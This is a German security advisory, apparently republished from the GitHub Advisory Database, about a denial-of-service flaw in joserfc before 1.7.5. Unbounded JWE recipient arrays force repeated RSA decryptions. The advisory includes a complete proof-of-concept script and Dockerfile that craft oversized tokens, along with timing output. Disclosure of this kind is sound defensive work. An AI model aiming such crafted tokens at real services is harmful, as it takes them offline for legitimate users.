joserfc: Unbegrenztes JWE-General-JSON-`recipients`-Array führt zu CPU-Erschöpfung (DoS) durch wiederholte RSA-Privatschlüssel-Entschlüsselung
Zusammenfassung
joserfc.jwe.decrypt_json(), der öffentliche Parser der Bibliothek für die JWE General JSON Serialization, akzeptiert ein vom Angreifer kontrolliertes recipients-Array unbegrenzter Länge und führt für jeden im Input enthaltenen Empfänger eine vollständige Entschlüsselungsoperation mit dem privaten Schlüssel (decrypt_cek) durch, ohne Obergrenze für die Empfängeranzahl. Ein nicht authentifizierter Angreifer über das Netzwerk, der ein JWE General JSON-Dokument an einen Endpunkt senden kann, welcher dieses mit einem RSA-Schlüssel (z. B. RSA-OAEP) entschlüsselt, kann das Zielsystem zwingen, eine beliebige, vom Angreifer gewählte Anzahl an RSA-Privatschlüssel-Entschlüsselungen über eine einzige, verhältnismäßig kleine HTTP-Anfrage auszuführen.
Dies verschafft dem Angreifer ein hochgradig asymmetrisches Primitiv zur CPU-Erschöpfung (Denial of Service): Lokale Reproduktionen zeigen, dass die Anfragedatenmenge linear mit der Empfängeranzahl wächst (~396 Bytes/Empfänger), während die serverseitige CPU-Zeit im Gleichschritt ansteigt (nahezu ein 1:1-Verhältnis zwischen Empfängeranzahl-Wachstum und Anstieg der Entschlüsselungszeit). Die einzige dokumentierte Schutzoption der Bibliothek, verify_all_recipients=False, reduziert die CPU-Kosten nicht, da die Entschlüsselungsschleife bedingungslos das decrypt_cek() jedes Empfängers abarbeitet, bevor diese Option jemals geprüft wird. Es handelt sich um CWE-400 (Unkontrollierter Ressourcenverbrauch) mit einem CVSS v3.1 Base Score von 7.5 (High).
Details
joserfc validiert und begrenzt mehrere strukturelle Elemente einer JWE (Größe des geschützten Headers, Größe des verschlüsselten Schlüssels, IV-Größe, Chiffretextgröße und Auth-Tag-Größe) innerhalb von src/joserfc/_rfc7516/registry.py, führt jedoch keinerlei Validierung bezüglich der Anzahl der Einträge im recipients-Array eines JWE General JSON Serialization-Objekts durch.
Datenfluss (Quelle → Senke), direkt verifiziert anhand des Repository-Quellcodes bei Commit 26a10275e88276184f91ae2a6409647bfac7fea5 (joserfc 1.7.4):
src/joserfc/jwe.py:214— Öffentlicher Parser-Einstiegspunktdecrypt_json(data, private_key, ...). Dies ist eine dokumentierte, an der Bibliotheksgrenze nicht authentifizierte API zum Parsen von extern bereitgestelltem JWE JSON.src/joserfc/jwe.py:238— Ist"recipients"im Eingabe-Dict vorhanden, wirdextract_general_json(...)aufgerufen.src/joserfc/_rfc7516/json.py:84-86— Iteriert überfor item in data["recipients"]:und hängt für jeden Eintrag einRecipient-Objekt an, ohne Obergrenzenprüfung fürlen(data["recipients"]):pythonfor item in data["recipients"]: recipient = __extract_recipient(obj, item, registry) obj.recipients.append(recipient)src/joserfc/jwe.py:252— Der private Schlüssel wird jedem extrahierten Empfänger zugewiesen.src/joserfc/_rfc7516/message.py:103-112—_perform_decrypt()durchläuft jeden Empfänger inobj.recipientsund ruftdecrypt_recipient(...)für jeden einzelnen auf, ungeachtet deren Anzahl:pythoncek_set = set() for recipient in obj.recipients: headers = recipient.headers() registry.check_header(headers, True) alg = registry.get_alg(headers["alg"]) try: cek = decrypt_recipient(alg, enc, recipient, tag) cek_set.add(cek)src/joserfc/_rfc7518/jwe_algs.py:74-83— Für RSA-OAEP/RSA1_5-Empfänger wird dies an die Senke weitergeleitet, eine echte RSA-Privatschlüssel-Operation:pythondef decrypt_cek(self, recipient: Recipient[RSAKey]) -> bytes: key = recipient.recipient_key assert key is not None self.check_key_type(key) op_key = key.get_op_key("decrypt") try: assert recipient.encrypted_key is not None cek = op_key.decrypt(recipient.encrypted_key, self.padding)
Bestätigt durch direkte Inspektion von src/joserfc/_rfc7516/registry.py: Größenbeschränkungen existieren für max_header_length, max_encrypted_key_length, max_iv_length, max_ciphertext_length und max_auth_tag_length (registry.py:52-62, 103-121), aber weder in registry.py, json.py noch jwe.py existiert ein max_recipients-Feld (oder eine äquivalente Prüfung).
Entscheidend ist, dass die Schleife in message.py:103-112 bedingungslos decrypt_recipient() für jeden Empfänger aufruft — dies geschieht, bevor registry.verify_all_recipients überhaupt abgefragt wird. Das Setzen von verify_all_recipients=False (der einzigen dokumentierten diesbezüglichen Option der Bibliothek) steuert daher lediglich, ob bei einem Entschlüsselungsfehler eine Exception ausgelöst wird, verringert jedoch nicht die Anzahl der durchgeführten RSA-Privatschlüssel-Operationen und mildert die CPU-Belastung somit nicht ab. Dies wurde zur Laufzeit unabhängig bestätigt (siehe PoC-Ergebnisse unten): Die Entschlüsselungszeit ist zwischen verify_all_recipients=True und verify_all_recipients=False bei gleicher Empfängeranzahl statistisch identisch.
decrypt_json() ist kein reiner Demo- oder Admin-Codepfad: Er ist in docs/guide/jwe.rst:156-182 als Standardweg zum Parsen und Entschlüsseln einer extern empfangenen General JSON JWE dokumentiert und erfordert keine spezielle oder nicht standardmäßige Konfiguration. Dies ist funktional analog zu zwei weiteren Ressourcenerschöpfungsproblemen, die in derselben Codebasis bereits behoben wurden — dem PBES2-p2c-Iterationslimit (src/joserfc/_rfc7518/jwe_algs.py:237-239) und dem JWE-Komprimierungs-„Zip-Bomb“-Größenlimit (src/joserfc/_rfc7518/jwe_zips.py:11,26-28) —, was darauf hindeutet, dass das Limit für die Empfängeranzahl bei derselben Härtungsmaßnahme schlicht übersehen wurde.
PoC
Sowohl die statische (Phase 1) als auch die dynamische, containerisierte (Phase 2) Reproduktion bestätigte die Schwachstelle am unveränderten Quellcode von joserfc 1.7.4.
Umgebungseinrichtung (Dockerfile):
FROM python:3.12-slim
WORKDIR /app
# Copy the exact repository source under test (unmodified).
COPY repo /app/repo
# Install joserfc from local source in editable/normal mode.
RUN pip install --no-cache-dir /app/repo
# Copy the PoC script.
COPY vuln-001/poc.py /app/poc.py
ENTRYPOINT ["python3", "/app/poc.py"]
Build und Ausführung (Quellcode wird unverändert verwendet; Container hat keinen Netzwerkzugriff):
docker build -t joserfc-vuln001 -f vuln-001/Dockerfile .
docker run --rm --network none joserfc-vuln001 --recipients 1 500 1500
PoC-Logik (poc.py): Generiert ein Opfer-RSA-2048-Schlüsselpaar (entspricht dem RSA-Schlüssel, den eine Anwendung zur RSA-OAEP-JWE-Entschlüsselung verwenden würde), erstellt eine General JSON JWE (GeneralJSONEncryption), die einen kleinen Klartext mit einer vom Angreifer gewählten Anzahl n von RSA-OAEP-Empfängern kapselt (alle unter Verwendung des öffentlichen Schlüssels des Opfers, der für JWE-Verschlüsselung ohnehin öffentlich ist), ruft anschließend die unveränderte öffentliche API joserfc.jwe.decrypt_json() auf und misst die Entschlüsselungszeit, einmal mit verify_all_recipients=True und einmal mit verify_all_recipients=False.
def build_token(public_key, n_recipients: int) -> tuple[str, int]:
obj = GeneralJSONEncryption({"enc": "A128GCM"}, b"hello")
for _ in range(n_recipients):
obj.add_recipient({"alg": "RSA-OAEP"}, public_key)
token = jwe.encrypt_json(obj, None)
size_bytes = len(json.dumps(token).encode())
return token, size_bytes
def measure_decrypt(token, private_key, verify_all_recipients: bool) -> float:
registry = JWERegistry(verify_all_recipients=verify_all_recipients)
t0 = time.perf_counter()
out = jwe.decrypt_json(token, private_key, registry=registry)
dt = time.perf_counter() - t0
assert out.plaintext == b"hello"
return dt
Beobachtete Ergebnisse (Phase 2, innerhalb des Docker-Containers, --network none, unveränderter Quellcode):
[*] Attacker crafts General JSON JWE with recipients=1 ...
verify_all_recipients=True -> decrypt_json() succeeded, size_bytes=536 decrypt_seconds=0.002
verify_all_recipients=False -> decrypt_json() succeeded, size_bytes=536 decrypt_seconds=0.001
[*] Attacker crafts General JSON JWE with recipients=500 ...
verify_all_recipients=True -> decrypt_json() succeeded, size_bytes=198140 decrypt_seconds=0.631
verify_all_recipients=False -> decrypt_json() succeeded, size_bytes=198140 decrypt_seconds=0.651
[*] Attacker crafts General JSON JWE with recipients=1500 ...
verify_all_recipients=True -> decrypt_json() succeeded, size_bytes=594140 decrypt_seconds=1.874
verify_all_recipients=False -> decrypt_json() succeeded, size_bytes=594140 decrypt_seconds=1.875
[CHECK] recipient_count_ratio=1500.0x decrypt_time_ratio=937.0x
[PASS] decrypt_json() performed one RSA private-key decrypt per attacker-supplied recipient with
no upper bound, and verify_all_recipients=False did not mitigate the cost.
Unabhängige Reproduktionen in der statischen Phase (Phase 1) gegen denselben Commit außerhalb des Containers zeigten dasselbe lineare Skalierungsverhalten (Empfänger=500 → 198,140 Bytes → 0.627s; Empfänger=1500 → 594,140 Bytes → 1.957s), und der lokale Testlauf des ursprünglichen Berichts zeigte Empfänger=1000 → 396,140 Bytes → 1.254s; Empfänger=3000 → 1,188,140 Bytes → 3.762s. In jedem Durchlauf wurde plaintext=b'hello' korrekt wiederhergestellt, was bestätigt, dass jede manipulierte Anfrage eine vollkommen gültige Eingabe darstellt und nicht vorzeitig abgewiesen wird.
In allen Fällen führte verify_all_recipients=False bei gleicher Empfängeranzahl zu statistisch identischen Entschlüsselungszeiten wie verify_all_recipients=True (z. B. 500 Empfänger: 0.631s vs 0.651s; 1500 Empfänger: 1.874s vs 1.875s), was empirisch belegt, dass dieses dokumentierte Flag die CPU-Last nicht reduziert.
Auswirkungen
Dies ist eine Denial-of-Service-Schwachstelle durch CPU-Erschöpfung über das Netzwerk ohne Authentifizierung (CWE-400, Unkontrollierter Ressourcenverbrauch). Jede Anwendung ist betroffen, die:
- einen Endpunkt (oder Nachrichtenverarbeitungspfad) bereitstellt, der JWE-Daten im General JSON Serialization-Format akzeptiert, und
- diese mittels
joserfc.jwe.decrypt_json()mit einem RSA-basierten Schlüsselverwaltungsalgorithmus (z. B. RSA-OAEP, RSA1_5) entschlüsselt.
Der Angreifer benötigt lediglich den öffentlichen RSA-Schlüssel des Opfers — welcher ohnehin öffentlich ist, da legitime Absender ihn nutzen, um JWEs für das Opfer zu verschlüsseln. Da die Anfragengröße linear mit der Empfängeranzahl skaliert (~396 Bytes pro Empfänger), während der vom Angreifer verursachte serverseitige CPU-Aufwand im Gleichschritt ansteigt, profitiert der Angreifer von einer ausgeprägten Kostenasymmetrie: So erzwang im Test eine Anfrage von rund 1.2 MB etwa 3.8 Sekunden an RSA-2048-Privatschlüssel-Entschlüsselungsoperationen. Wiederholte oder parallele Anfragen dieser Art können die verfügbare CPU-/Worker-Kapazität des Zieldienstes erschöpfen und die Verfügbarkeit für legitime Benutzer beeinträchtigen oder vollständig verhindern. Vertraulichkeit und Integrität sind nicht betroffen (es werden weder Schlüsselmaterial noch Klartext offengelegt oder beschädigt); die Auswirkung beschränkt sich auf die Verfügbarkeit, entsprechend dem CVSS-Vektor C:N/I:N/A:H.
Reproduktionsartefakte
Dockerfile
# VULN-001 dynamic reproduction environment
# Unbounded JWE General JSON "recipients" array causes CPU exhaustion via
# repeated RSA private-key decryption in joserfc's decrypt_json().
#
# This image builds joserfc from the local repository clone (unmodified
# source) and provides a Python environment to run poc.py against it.
FROM python:3.12-slim
WORKDIR /app
# Copy the exact repository source under test (unmodified).
COPY repo /app/repo
# Install joserfc from local source in editable/normal mode.
RUN pip install --no-cache-dir /app/repo
# Copy the PoC script.
COPY vuln-001/poc.py /app/poc.py
ENTRYPOINT ["python3", "/app/poc.py"]
poc.py
"""
VULN-001 dynamic PoC: Unbounded JWE General JSON "recipients" array causes
CPU exhaustion (CWE-400) via repeated RSA private-key decryption inside
joserfc's public parser API `joserfc.jwe.decrypt_json()`.
Data flow reproduced end to end (unmodified joserfc source):
1. joserfc.jwe.decrypt_json() (src/joserfc/jwe.py:214)
2. -> extract_general_json() (src/joserfc/_rfc7516/json.py:73)
3. -> for item in data["recipients"]: (NO COUNT CAP) (src/joserfc/_rfc7516/json.py:84)
4. -> perform_decrypt() -> _perform_decrypt() (src/joserfc/_rfc7516/message.py:93-112)
5. -> for recipient in obj.recipients: decrypt_recipient(...) for EVERY recipient,
regardless of registry.verify_all_recipients
6. -> RSAAlgModel.decrypt_cek(): op_key.decrypt(...) (src/joserfc/_rfc7518/jwe_algs.py:74-83)
performs one real RSA-2048 private-key decrypt operation per recipient.
This script:
(a) builds a victim RSA keypair (2048-bit, as an application would use for
RSA-OAEP JWE decryption),
(b) crafts a General JSON JWE token with an attacker-chosen number of
RSA-OAEP recipients, all wrapping the SAME small ciphertext,
(c) measures wall-clock CPU time joserfc's unmodified decrypt_json() spends
processing the token as the recipient count grows,
(d) shows that setting verify_all_recipients=False (the only public
mitigation knob mentioned in the docs) does NOT reduce the CPU cost,
because the decrypt loop in message.py always attempts every
recipient's decrypt_cek() before that flag is ever consulted.
Deterministic PASS criteria (printed as machine-readable JSON lines):
- decrypt_json() succeeds (returns correct plaintext) for all recipient counts.
- decrypt_seconds scales roughly linearly with recipient count (attacker
control over victim CPU cost, unbounded by the library).
- decrypt_seconds for verify_all_recipients=False is statistically the same
order of magnitude as verify_all_recipients=True for the same recipient
count (proving the documented mitigation does not help).
"""
import argparse
import json
import time
from joserfc import jwe, jwk
from joserfc.jwe import GeneralJSONEncryption
from joserfc.jwe import JWERegistry
def build_token(public_key, n_recipients: int) -> tuple[str, int]:
"""Craft a General JSON JWE with n_recipients RSA-OAEP recipients,
all wrapping the same small plaintext. This is exactly the shape an
unauthenticated network attacker can send to any endpoint that calls
jwe.decrypt_json() on external input, as documented in
docs/guide/jwe.rst."""
obj = GeneralJSONEncryption({"enc": "A128GCM"}, b"hello")
for _ in range(n_recipients):
obj.add_recipient({"alg": "RSA-OAEP"}, public_key)
token = jwe.encrypt_json(obj, None)
size_bytes = len(json.dumps(token).encode())
return token, size_bytes
def measure_decrypt(token, private_key, verify_all_recipients: bool) -> float:
registry = JWERegistry(verify_all_recipients=verify_all_recipients)
t0 = time.perf_counter()
out = jwe.decrypt_json(token, private_key, registry=registry)
dt = time.perf_counter() - t0
assert out.plaintext == b"hello", f"unexpected plaintext: {out.plaintext!r}"
return dt
def main():
parser = argparse.ArgumentParser(description="VULN-001 dynamic reproduction PoC")
parser.add_argument(
"--recipients",
type=int,
nargs="+",
default=[1, 500, 1500],
help="Recipient counts to test (attacker-controlled array length).",
)
parser.add_argument(
"--key-bits",
type=int,
default=2048,
help="RSA key size of the victim's decryption key.",
)
args = parser.parse_args()
print(f"[*] Generating victim RSA-{args.key_bits} keypair (RSA-OAEP JWE key)...")
private_key = jwk.RSAKey.generate_key(args.key_bits)
public_key = jwk.RSAKey.import_key(private_key.as_dict(private=False))
print("[*] Victim private key generated locally; public key is what an attacker would normally have.")
results = []
for n in args.recipients:
print(f"\n[*] Attacker crafts General JSON JWE with recipients={n} ...")
token, size_bytes = build_token(public_key, n)
dt_verify_true = measure_decrypt(token, private_key, verify_all_recipients=True)
print(
f" verify_all_recipients=True -> decrypt_json() succeeded, "
f"size_bytes={size_bytes} decrypt_seconds={dt_verify_true:.3f}"
)
dt_verify_false = measure_decrypt(token, private_key, verify_all_recipients=False)
print(
f" verify_all_recipients=False -> decrypt_json() succeeded, "
f"size_bytes={size_bytes} decrypt_seconds={dt_verify_false:.3f} "
f"(documented 'mitigation' does NOT reduce CPU cost)"
)
results.append(
{
"recipients": n,
"size_bytes": size_bytes,
"decrypt_seconds_verify_all_true": round(dt_verify_true, 3),
"decrypt_seconds_verify_all_false": round(dt_verify_false, 3),
}
)
print("\n[RESULT_JSON] " + json.dumps(results))
# Deterministic scaling check: CPU time for the largest recipient count
# must be substantially larger (order of magnitude, not noise) than for
# the smallest, proving attacker control over victim CPU consumption.
baseline = results[0]["decrypt_seconds_verify_all_true"]
worst = results[-1]["decrypt_seconds_verify_all_true"]
ratio = worst / baseline if baseline > 0 else float("inf")
recipient_ratio = results[-1]["recipients"] / results[0]["recipients"]
print(
f"[CHECK] recipient_count_ratio={recipient_ratio:.1f}x "
f"decrypt_time_ratio={ratio:.1f}x "
f"(unbounded recipients => unbounded RSA-decrypt CPU cost, no cap in registry.py)"
)
if ratio < recipient_ratio * 0.3:
print("[FAIL] Decrypt time did not scale with recipient count as expected.")
raise SystemExit(1)
print("[PASS] decrypt_json() performed one RSA private-key decrypt per attacker-supplied "
"recipient with no upper bound, and verify_all_recipients=False did not mitigate the cost.")
if __name__ == "__main__":
main()
Was zu tun ist
Aktualisieren Sie joserfc auf Version 1.7.5 oder höher.
Betroffene Software
Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.
| Plattform | Paket | Anfällige Versionen | Behoben in |
|---|---|---|---|
| Python (PyPI) | joserfc | < 1.7.5 | 1.7.5 |
Verweise
- CVSS-Vektor
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H- Schwäche (CWE)
CWE-400- Plattform
- Python (PyPI)
- Paket
joserfc- Veröffentlicht
- 30.10.2026
- Aktualisiert
- 07.11.2026 10:00
Quellen und Lizenzen · Von DockRay bearbeitet oder übersetzt; Rechte und Lizenzen der Quellen bleiben erhalten.
OSV / GitHub Advisory Database - GHSA-jpxq-7h8p-2q76 - CC BY 4.0
Schwachstellenhistorie: joserfc
Alle veröffentlichten Schwachstellen dieses Pakets (Python (PyPI)), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.
- Einträge insgesamt
- 6
- Erste → letzte
- 11.2025 10.2026
- Ohne Fix
- 0
- In Angriffen ausgenutzt
- 0
Verteilung nach Schweregrad
- Kritisch 1
- Hoch 3
- Mittel 2
Veröffentlichungen pro Jahr
- 2025: 1
- 2026: 5
-
joserfc: Unbegrenztes JWE-General-JSON-`recipients`-Array führt zu CPU-Erschöpfung (DoS) durch wiederholte RSA-Privatschlüssel-Entschlüsselung dieser Eintrag
Erkennen Sie Schwachstellen in Ihrer Anwendung
Mit der DockRay-Integration und aktivierter Softwareinventarisierung prüft DockRay gemeldete Komponentenversionen auf bekannte Schwachstellen und benachrichtigt Sie über bestätigte Treffer. Die Abdeckung hängt von der unterstützten Technologie und den verfügbaren Meldungen ab.